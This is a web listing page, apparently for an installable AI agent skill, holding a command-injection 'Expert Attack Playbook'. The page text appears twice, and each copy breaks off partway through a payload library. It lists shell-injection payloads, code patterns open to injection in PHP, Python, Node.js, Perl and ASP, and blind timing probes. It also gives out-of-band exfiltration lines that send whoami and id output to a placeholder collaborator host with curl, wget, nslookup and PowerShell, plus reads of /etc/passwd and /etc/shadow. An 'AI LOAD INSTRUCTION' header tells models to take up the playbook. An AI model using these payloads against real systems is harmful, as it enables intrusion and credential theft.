cmdi-command-injection

Name: cmdi-command-injection
Author: Prohao42

91stars8forks

How to install cmdi-command-injection?

prohao42/aimy-skill/cmdi-command-injection

$npx -y skills add Prohao42/aimy-skill --skill cmdi-command-injection

Installs into the current project.

Summary

--- name: cmdi-command-injection description: >- Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks. ---

Files · 1

View on GitHub

SKILL.md

1	# SKILL: OS Command Injection — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, you can first load:
8
9	- [upload insecure files](../upload-insecure-files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow
10
11	### First-pass payload families
12
13	\| Context \| Start With \| Backup \|
14	\|---\|---\|---\|
15	\| generic shell separator \| `;id` \| `&&id` \|
16	\| quoted argument \| `";id;"` \| `';id;'` \|
17	\| blind timing \| `;sleep 5` \| `& timeout /T 5 /NOBREAK` \|
18	\| command substitution \| `$(id)` \| `` `id` `` \|
19	\| out-of-band DNS \| `;nslookup token.collab` \| Windows `nslookup` variant \|
20
21	```text
22	cat$IFS/etc/passwd
23	{cat,/etc/passwd}
24	%0aid
25	```
26
27	---
28
29	## 1. SHELL METACHARACTERS (INJECTION OPERATORS)
30
31	These characters break out of the command context and inject new commands:
32
33	\| Metacharacter \| Behavior \| Example \|
34	\|---\|---\|---\|
35	\| `;` \| Runs second command regardless \| `dir; whoami` \|
36	\| `\\|` \| Pipes stdout to second command \| `dir \\| whoami` \|
37	\| `\\|\\|` \| Run second only if first FAILS \| `dir \\|\\| whoami` \|
38	\| `&` \| Run second in background (or sequenced in Windows) \| `dir & whoami` \|
39	\| `&&` \| Run second only if first SUCCEEDS \| `dir && whoami` \|
40	\| `$(cmd)` \| Command substitution \| `echo $(whoami)` \|
41	\| `` `cmd` `` \| Command substitution (backtick) \| `` echo `whoami` `` \|
42	\| `>` \| Redirect stdout to file \| `cmd > /tmp/out` \|
43	\| `>>` \| Append to file \| `cmd >> /tmp/out` \|
44	\| `<` \| Read file as stdin \| `cmd < /etc/passwd` \|
45	\| `%0a` \| Newline character (URL-encoded) \| `cmd%0awhoami` \|
46	\| `%0d%0a` \| CRLF \| Multi-command injection \|
47
48	---
49
50	## 2. COMMON VULNERABLE CODE PATTERNS
51
52	### PHP
53	```php
54	$dir = $_GET['dir'];
55	$out = shell_exec("du -h /var/www/html/" . $dir);
56	// Inject: dir=../ ; cat /etc/passwd
57	// Inject: dir=../ $(cat /etc/passwd)
58
59	exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
60	system("convert " . $file); // ImageMagick RCE
61	passthru("nslookup " . $host); // $host = "x.com; id"
62	```
63
64	### Python
65	```python
66	import os
67	os.system("curl " + url) # url = "x.com; id"
68	subprocess.call("ls " + path, shell=True) # shell=True is the key vulnerability
69	os.popen("ping " + host)
70	```
71
72	### Node.js
73	```javascript
74	const { exec } = require('child_process');
75	exec('ping ' + req.query.host, ...); // host = "x.com; id"
76	```
77
78	### Perl
79	```perl
80	$dir = param("dir");
81	$command = "du -h /var/www/html" . $dir;
82	system($command);
83	// Inject dir field: \| cat /etc/passwd
84	```
85
86	### ASP (Classic)
87	```vb
88	szCMD = "type C:\logs\" & Request.Form("FileName")
89	Set oShell = Server.CreateObject("WScript.Shell")
90	oShell.Run szCMD
91	// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt
92	```
93
94	---
95
96	## 3. BLIND COMMAND INJECTION — DETECTION
97
98	When response shows no command output:
99
100	### Time-Based Detection
101	```bash
102	# Linux:
103	; sleep 5
104	\| sleep 5
105	$(sleep 5)
106	`sleep 5`
107	& sleep 5 &
108
109	# Windows:
110	& timeout /T 5 /NOBREAK
111	& ping -n 5 127.0.0.1
112	& waitfor /T 5 signal777
113	```
114	Compare response time without payload vs with payload. 5+ second delay = confirmed.
115
116	### OOB via DNS
117	```bash
118	# Linux:
119	; nslookup BURP_COLLAB_HOST
120	; host `whoami`.BURP_COLLAB_HOST
121	$(nslookup $(whoami).BURP_COLLAB_HOST)
122
123	# Windows:
124	& nslookup BURP_COLLAB_HOST
125	& nslookup %USERNAME%.BURP_COLLAB_HOST
126	```
127
128	### OOB via HTTP
129	```bash
130	# Linux:
131	; curl http://BURP_COLLAB_HOST/`whoami`
132	; wget http://BURP_COLLAB_HOST/$(id\|base64)
133
134	# Windows:
135	& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"
136	```
137
138	### OOB via Out-of-Band File
139	```bash
140	; id > /var/www/html/RANDOM_FILE.txt
141	# Then access: https://target.com/RANDOM_FILE.txt
142	```
143
144	---
145
146	## 4. INJECTION CONTEXT VARIATIONS
147
148	### Within Quoted String
149	```bash
150	command "INJECT"
151	# Inject: " ; id ; "
152	# Result: command "" ; id ; ""
153	```
154
155	### Within Single-Quoted String
156	```bash
157	command 'INJECT'
158	# Inject: '; id;'
159	# Result: command ''; id;''
160	```
161
162	### Within Backtick Execution
163	```bash
164	output=`command INJECT`
165	# Inject: x`; id ;`
166	```
167
168	### File Path Context
169	```bash
170	cat /var/log/INJECT
171	# Inject: ../../../etc/passwd (path traversal)
172	# Inject: access.log; id (command injection)
173	```
174
175	---
176
177	## 5. PAYLOAD LIBRARY
178
179	### Information Gathering
180	```bash
181	; id # current user
182	; whoami # user name
183	; uname -a # OS info
184	; cat /etc/passwd # user list
185	; cat /etc/shadow # password hashes (if r

People who liked this also viewed

6 picks

Type

cmdi-command-injection

91stars8forks

View on GitHub

How to install cmdi-command-injection?

prohao42/aimy-skill/cmdi-command-injection

$npx -y skills add Prohao42/aimy-skill --skill cmdi-command-injection

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: OS Command Injection — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.
4
5	## 0. RELATED ROUTING
6
7	Before going deep, you can first load:
8
9	- [upload insecure files](../upload-insecure-files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow
10
11	### First-pass payload families
12
13	\| Context \| Start With \| Backup \|
14	\|---\|---\|---\|
15	\| generic shell separator \| `;id` \| `&&id` \|
16	\| quoted argument \| `";id;"` \| `';id;'` \|
17	\| blind timing \| `;sleep 5` \| `& timeout /T 5 /NOBREAK` \|
18	\| command substitution \| `$(id)` \| `` `id` `` \|
19	\| out-of-band DNS \| `;nslookup token.collab` \| Windows `nslookup` variant \|
20
21	```text
22	cat$IFS/etc/passwd
23	{cat,/etc/passwd}
24	%0aid
25	```
26
27	---
28
29	## 1. SHELL METACHARACTERS (INJECTION OPERATORS)
30
31	These characters break out of the command context and inject new commands:
32
33	\| Metacharacter \| Behavior \| Example \|
34	\|---\|---\|---\|
35	\| `;` \| Runs second command regardless \| `dir; whoami` \|
36	\| `\\|` \| Pipes stdout to second command \| `dir \\| whoami` \|
37	\| `\\|\\|` \| Run second only if first FAILS \| `dir \\|\\| whoami` \|
38	\| `&` \| Run second in background (or sequenced in Windows) \| `dir & whoami` \|
39	\| `&&` \| Run second only if first SUCCEEDS \| `dir && whoami` \|
40	\| `$(cmd)` \| Command substitution \| `echo $(whoami)` \|
41	\| `` `cmd` `` \| Command substitution (backtick) \| `` echo `whoami` `` \|
42	\| `>` \| Redirect stdout to file \| `cmd > /tmp/out` \|
43	\| `>>` \| Append to file \| `cmd >> /tmp/out` \|
44	\| `<` \| Read file as stdin \| `cmd < /etc/passwd` \|
45	\| `%0a` \| Newline character (URL-encoded) \| `cmd%0awhoami` \|
46	\| `%0d%0a` \| CRLF \| Multi-command injection \|
47
48	---
49
50	## 2. COMMON VULNERABLE CODE PATTERNS
51
52	### PHP
53	```php
54	$dir = $_GET['dir'];
55	$out = shell_exec("du -h /var/www/html/" . $dir);
56	// Inject: dir=../ ; cat /etc/passwd
57	// Inject: dir=../ $(cat /etc/passwd)
58
59	exec("ping -c 1 " . $ip); // $ip = "127.0.0.1 && cat /etc/passwd"
60	system("convert " . $file); // ImageMagick RCE
61	passthru("nslookup " . $host); // $host = "x.com; id"
62	```
63
64	### Python
65	```python
66	import os
67	os.system("curl " + url) # url = "x.com; id"
68	subprocess.call("ls " + path, shell=True) # shell=True is the key vulnerability
69	os.popen("ping " + host)
70	```
71
72	### Node.js
73	```javascript
74	const { exec } = require('child_process');
75	exec('ping ' + req.query.host, ...); // host = "x.com; id"
76	```
77
78	### Perl
79	```perl
80	$dir = param("dir");
81	$command = "du -h /var/www/html" . $dir;
82	system($command);
83	// Inject dir field: \| cat /etc/passwd
84	```
85
86	### ASP (Classic)
87	```vb
88	szCMD = "type C:\logs\" & Request.Form("FileName")
89	Set oShell = Server.CreateObject("WScript.Shell")
90	oShell.Run szCMD
91	// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt
92	```
93
94	---
95
96	## 3. BLIND COMMAND INJECTION — DETECTION
97
98	When response shows no command output:
99
100	### Time-Based Detection
101	```bash
102	# Linux:
103	; sleep 5
104	\| sleep 5
105	$(sleep 5)
106	`sleep 5`
107	& sleep 5 &
108
109	# Windows:
110	& timeout /T 5 /NOBREAK
111	& ping -n 5 127.0.0.1
112	& waitfor /T 5 signal777
113	```
114	Compare response time without payload vs with payload. 5+ second delay = confirmed.
115
116	### OOB via DNS
117	```bash
118	# Linux:
119	; nslookup BURP_COLLAB_HOST
120	; host `whoami`.BURP_COLLAB_HOST
121	$(nslookup $(whoami).BURP_COLLAB_HOST)
122
123	# Windows:
124	& nslookup BURP_COLLAB_HOST
125	& nslookup %USERNAME%.BURP_COLLAB_HOST
126	```
127
128	### OOB via HTTP
129	```bash
130	# Linux:
131	; curl http://BURP_COLLAB_HOST/`whoami`
132	; wget http://BURP_COLLAB_HOST/$(id\|base64)
133
134	# Windows:
135	& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"
136	```
137
138	### OOB via Out-of-Band File
139	```bash
140	; id > /var/www/html/RANDOM_FILE.txt
141	# Then access: https://target.com/RANDOM_FILE.txt
142	```
143
144	---
145
146	## 4. INJECTION CONTEXT VARIATIONS
147
148	### Within Quoted String
149	```bash
150	command "INJECT"
151	# Inject: " ; id ; "
152	# Result: command "" ; id ; ""
153	```
154
155	### Within Single-Quoted String
156	```bash
157	command 'INJECT'
158	# Inject: '; id;'
159	# Result: command ''; id;''
160	```
161
162	### Within Backtick Execution
163	```bash
164	output=`command INJECT`
165	# Inject: x`; id ;`
166	```
167
168	### File Path Context
169	```bash
170	cat /var/log/INJECT
171	# Inject: ../../../etc/passwd (path traversal)
172	# Inject: access.log; id (command injection)
173	```
174
175	---
176
177	## 5. PAYLOAD LIBRARY
178
179	### Information Gathering
180	```bash
181	; id # current user
182	; whoami # user name
183	; uname -a # OS info
184	; cat /etc/passwd # user list
185	; cat /etc/shadow # password hashes (if r

People who liked this also viewed

6 picks

Type